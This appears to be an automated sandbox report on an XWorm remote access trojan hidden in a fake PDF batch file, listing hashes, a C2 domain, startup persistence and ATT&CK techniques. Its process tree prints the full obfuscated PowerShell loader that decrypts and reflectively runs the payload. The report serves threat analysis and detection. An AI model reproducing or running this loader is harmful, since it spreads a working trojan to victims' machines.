xworm | 53f2e070b61e8a329b7b53d1615c3c75338aea7fe826918ce07237210ce37f53

General

Target

Electonic-Tracking_document_.pdf.bat
Size

64KB
MD5

462294b19375b265a9a912046e9c332f
SHA1

cda76d3e16a4981079254193ec1afc4041f06e0b
SHA256

080caa16fb7cf79c83f649022e79ca9db8160f1678c17f5832219c0a38be3e33
SHA512

8ef1f9f32e9f65f51914d3c605d72646910865488faf5bf4ea4e236f649fb21dbbdc1f172889560e6af4c8bfe89afc88225418fe57f5d7de872bda7218fda3a7
SSDEEP

1536:cV/qLMkewGW080dm+qxR2zFnaMvv6ZkbmEKUgXEXzICKUnFi:cV/qLM6Z0ldCxiFnvDHfs

Score

10^/10

xworm execution rat trojan

Malware Config

Extracted

Family

xworm

Version

5.0

C2

expresswealthz.duckdns.org:3911

Mutex

KmNubOoGsw3EMIcM

Attributes

install_file
USB.exe

aes.plain

Signatures

Detect Xworm Payload 1 IoCs

resource	yara_rule
behavioral2/memory/1672-21-0x0000019CD4DE0000-0x0000019CD4DF0000-memory.dmp	family_xworm

Xworm
Xworm is a remote access trojan written in C#.
trojan rat xworm
Xworm family
xworm

Blocklisted process makes network request 1 IoCs

flow	pid	Process
26	1672	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
1672	powershell.exe

Drops startup file 2 IoCs

description	ioc	Process
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\StartupScript_029bbd7b.cmd	powershell.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\StartupScript_029bbd7b.cmd	powershell.exe

Suspicious behavior: EnumeratesProcesses 3 IoCs

pid	Process
1672	powershell.exe
1672	powershell.exe
1672	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	1672	powershell.exe

Suspicious use of SetWindowsHookEx 1 IoCs

pid	Process
1672	powershell.exe

Suspicious use of WriteProcessMemory 4 IoCs

description	pid	Process	procid_target
PID 4892 wrote to memory of 5076	4892	cmd.exe	87
PID 4892 wrote to memory of 5076	4892	cmd.exe	87
PID 5076 wrote to memory of 1672	5076	cmd.exe	89
PID 5076 wrote to memory of 1672	5076	cmd.exe	89

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\Electonic-Tracking_document_.pdf.bat"
1⤵
- Suspicious use of WriteProcessMemory
PID:4892
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /K "C:\Users\Admin\AppData\Local\Temp\Electonic-Tracking_document_.pdf.bat"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:5076
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noprofile -windowstyle hidden -ep bypass -Command "[Text.Encoding]::UTF8.GetString([Convert]::FromBase64String('JHVzZXJOYW1lID0gJGVudjpVU0VSTkFNRTskZGVoZ2EgPSAiQzpcVXNlcnNcJHVzZXJOYW1lXGR3bS5iYXQiO2lmIChUZXN0LVBhdGggJGRlaGdhKSB7ICAgIFdyaXRlLUhvc3QgIkJhdGNoIGZpbGUgZm91bmQ6ICRkZWhnYSIgLUZvcmVncm91bmRDb2xvciBDeWFuOyAgICAkZmlsZUxpbmVzID0gW1N5c3RlbS5JTy5GaWxlXTo6UmVhZEFsbExpbmVzKCRkZWhnYSwgW1N5c3RlbS5UZXh0LkVuY29kaW5nXTo6VVRGOCk7ICAgIGZvcmVhY2ggKCRsaW5lIGluICRmaWxlTGluZXMpIHsgICAgICAgIGlmICgkbGluZSAtbWF0Y2ggJ146OjogPyguKykkJykgeyAgICAgICAgICAgIFdyaXRlLUhvc3QgIkluamVjdGlvbiBjb2RlIGRldGVjdGVkIGluIHRoZSBiYXRjaCBmaWxlLiIgLUZvcmVncm91bmRDb2xvciBDeWFuOyAgICAgICAgICAgIHRyeSB7ICAgICAgICAgICAgICAgICRkZWNvZGVkQnl0ZXMgPSBbU3lzdGVtLkNvbnZlcnRdOjpGcm9tQmFzZTY0U3RyaW5nKCRtYXRjaGVzWzFdLlRyaW0oKSk7ICAgICAgICAgICAgICAgICRpbmplY3Rpb25Db2RlID0gW1N5c3RlbS5UZXh0LkVuY29kaW5nXTo6VW5pY29kZS5HZXRTdHJpbmcoJGRlY29kZWRCeXRlcyk7ICAgICAgICAgICAgICAgIFdyaXRlLUhvc3QgIkluamVjdGlvbiBjb2RlIGRlY29kZWQgc3VjY2Vzc2Z1bGx5LiIgLUZvcmVncm91bmRDb2xvciBHcmVlbjsgICAgICAgICAgICAgICAgV3JpdGUtSG9zdCAiRXhlY3V0aW5nIGluamVjdGlvbiBjb2RlLi4uIiAtRm9yZWdyb3VuZENvbG9yIFllbGxvdzsgICAgICAgICAgICAgICAgSW52b2tlLUV4cHJlc3Npb24gJGluamVjdGlvbkNvZGU7ICAgICAgICAgICAgICAgIGJyZWFrOyAgICAgICAgICAgIH0gY2F0Y2ggeyAgICAgICAgICAgICAgICBXcml0ZS1Ib3N0ICJFcnJvciBkdXJpbmcgZGVjb2Rpbmcgb3IgZXhlY3V0aW5nIGluamVjdGlvbiBjb2RlOiAkXyIgLUZvcmVncm91bmRDb2xvciBSZWQ7ICAgICAgICAgICAgfTsgICAgICAgIH07ICAgIH07fSBlbHNlIHsgICAgICBXcml0ZS1Ib3N0ICJTeXN0ZW0gRXJyb3I6IEJhdGNoIGZpbGUgbm90IGZvdW5kOiAkZGVoZ2EiIC1Gb3JlZ3JvdW5kQ29sb3IgUmVkOyAgICBleGl0O307ZnVuY3Rpb24gcXFtc2coJHBhcmFtX3Zhcil7CSRhZXNfdmFyPVtTeXN0ZW0uU2VjdXJpdHkuQ3J5cHRvZ3JhcGh5LkFlc106OkNyZWF0ZSgpOwkkYWVzX3Zhci5Nb2RlPVtTeXN0ZW0uU2VjdXJpdHkuQ3J5cHRvZ3JhcGh5LkNpcGhlck1vZGVdOjpDQkM7CSRhZXNfdmFyLlBhZGRpbmc9W1N5c3RlbS5TZWN1cml0eS5DcnlwdG9ncmFwaHkuUGFkZGluZ01vZGVdOjpQS0NTNzsJJGFlc192YXIuS2V5PVtTeXN0ZW0uQ29udmVydF06OkZyb21CYXNlNjRTdHJpbmcoJ0s1bk03Z21aeTVLcEdGZUtNaTdMMmdBcFcrbVcwOU9LVW96REt3SGdUUFk9Jyk7CSRhZXNfdmFyLklWPVtTeXN0ZW0uQ29udmVydF06OkZyb21CYXNlNjRTdHJpbmcoJ3UzeGFGUm5zYU9uV3pwTlNCblpkUFE9PScpOwkkZGVjcnlwdG9yX3Zhcj0kYWVzX3Zhci5DcmVhdGVEZWNyeXB0b3IoKTsJJHJldHVybl92YXI9JGRlY3J5cHRvcl92YXIuVHJhbnNmb3JtRmluYWxCbG9jaygkcGFyYW1fdmFyLCAwLCAkcGFyYW1fdmFyLkxlbmd0aCk7CSRkZWNyeXB0b3JfdmFyLkRpc3Bvc2UoKTsJJGFlc192YXIuRGlzcG9zZSgpOwkkcmV0dXJuX3Zhcjt9ZnVuY3Rpb24ga2ZneXkoJHBhcmFtX3Zhcil7CSRzdWhodz1OZXctT2JqZWN0IFN5c3RlbS5JTy5NZW1vcnlTdHJlYW0oLCRwYXJhbV92YXIpOwkkeHVoemg9TmV3LU9iamVjdCBTeXN0ZW0uSU8uTWVtb3J5U3RyZWFtOwkkZnVlc3A9TmV3LU9iamVjdCBTeXN0ZW0uSU8uQ29tcHJlc3Npb24uR1ppcFN0cmVhbSgkc3VoaHcsIFtJTy5Db21wcmVzc2lvbi5Db21wcmVzc2lvbk1vZGVdOjpEZWNvbXByZXNzKTsJJGZ1ZXNwLkNvcHlUbygkeHVoemgpOwkkZnVlc3AuRGlzcG9zZSgpOwkkc3VoaHcuRGlzcG9zZSgpOwkkeHVoemguRGlzcG9zZSgpOwkkeHVoemguVG9BcnJheSgpO31mdW5jdGlvbiBicHdnbCgkcGFyYW1fdmFyLCRwYXJhbTJfdmFyKXsJJGl4Z3RoPVtTeXN0ZW0uUmVmbGVjdGlvbi5Bc3NlbWJseV06OignZGFvTCdbLTEuLi00XSAtam9pbiAnJykoW2J5dGVbXV0kcGFyYW1fdmFyKTsJJHBwZ21jPSRpeGd0aC5FbnRyeVBvaW50OwkkcHBnbWMuSW52b2tlKCRudWxsLCAkcGFyYW0yX3Zhcik7fSRob3N0LlVJLlJhd1VJLldpbmRvd1RpdGxlID0gJGRlaGdhOyRkaW5vcD1bU3lzdGVtLklPLkZpbGVdOjooJ3R4ZVRsbEFkYWVSJ1stMS4uLTExXSAtam9pbiAnJykoJGRlaGdhKS5TcGxpdChbRW52aXJvbm1lbnRdOjpOZXdMaW5lKTtmb3JlYWNoICgkemRqIGluICRkaW5vcCkgewlpZiAoJHpkai5TdGFydHNXaXRoKCc6OiAnKSkJewkJJHVpYWxmPSR6ZGouU3Vic3RyaW5nKDMpOwkJYnJlYWs7CX19JGhsdGhwPVtzdHJpbmdbXV0kdWlhbGYuU3BsaXQoJ1wnKTskeGRocXA9a2ZneXkgKHFxbXNnIChbQ29udmVydF06OkZyb21CYXNlNjRTdHJpbmcoJGhsdGhwWzBdKSkpOyRrZGlzaz1rZmd5eSAocXFtc2cgKFtDb252ZXJ0XTo6RnJvbUJhc2U2NFN0cmluZygkaGx0aHBbMV0pKSk7YnB3Z2wgJHhkaHFwICRudWxsO2Jwd2dsICRrZGlzayAoLFtzdHJpbmdbXV0gKCclKicpKTs=')) | Invoke-Expression"
    3⤵
    - Blocklisted process makes network request
    - Command and Scripting Interpreter: PowerShell
    - Drops startup file
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of SetWindowsHookEx
    PID:1672

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

1

T1059

PowerShell

1

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_gojygjgv.dfy.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
C:\Users\Admin\dwm.bat

Filesize
64KB

MD5
462294b19375b265a9a912046e9c332f

SHA1
cda76d3e16a4981079254193ec1afc4041f06e0b

SHA256
080caa16fb7cf79c83f649022e79ca9db8160f1678c17f5832219c0a38be3e33

SHA512
8ef1f9f32e9f65f51914d3c605d72646910865488faf5bf4ea4e236f649fb21dbbdc1f172889560e6af4c8bfe89afc88225418fe57f5d7de872bda7218fda3a7

Download Submit
memory/1672-16-0x00007FFE46780000-0x00007FFE47241000-memory.dmp

Filesize
10.8MB

Download
memory/1672-13-0x00007FFE46780000-0x00007FFE47241000-memory.dmp

Filesize
10.8MB

Download
memory/1672-14-0x00007FFE46780000-0x00007FFE47241000-memory.dmp

Filesize
10.8MB

Download
memory/1672-5-0x0000019CD4AC0000-0x0000019CD4AE2000-memory.dmp

Filesize
136KB

Download
memory/1672-2-0x00007FFE46783000-0x00007FFE46785000-memory.dmp

Filesize
8KB

Download
memory/1672-17-0x00007FFE46780000-0x00007FFE47241000-memory.dmp

Filesize
10.8MB

Download
memory/1672-21-0x0000019CD4DE0000-0x0000019CD4DF0000-memory.dmp

Filesize
64KB

Download
memory/1672-19-0x0000019CD4D70000-0x0000019CD4D7E000-memory.dmp

Filesize
56KB

Download
memory/1672-18-0x0000019CD4D10000-0x0000019CD4D18000-memory.dmp

Filesize
32KB

Download
memory/1672-22-0x00007FFE46783000-0x00007FFE46785000-memory.dmp

Filesize
8KB

Download
memory/1672-23-0x00007FFE46780000-0x00007FFE47241000-memory.dmp

Filesize
10.8MB

Download
memory/1672-24-0x00007FFE46780000-0x00007FFE47241000-memory.dmp

Filesize
10.8MB

Download
memory/1672-25-0x00007FFE46780000-0x00007FFE47241000-memory.dmp

Filesize
10.8MB

Download

Analysis

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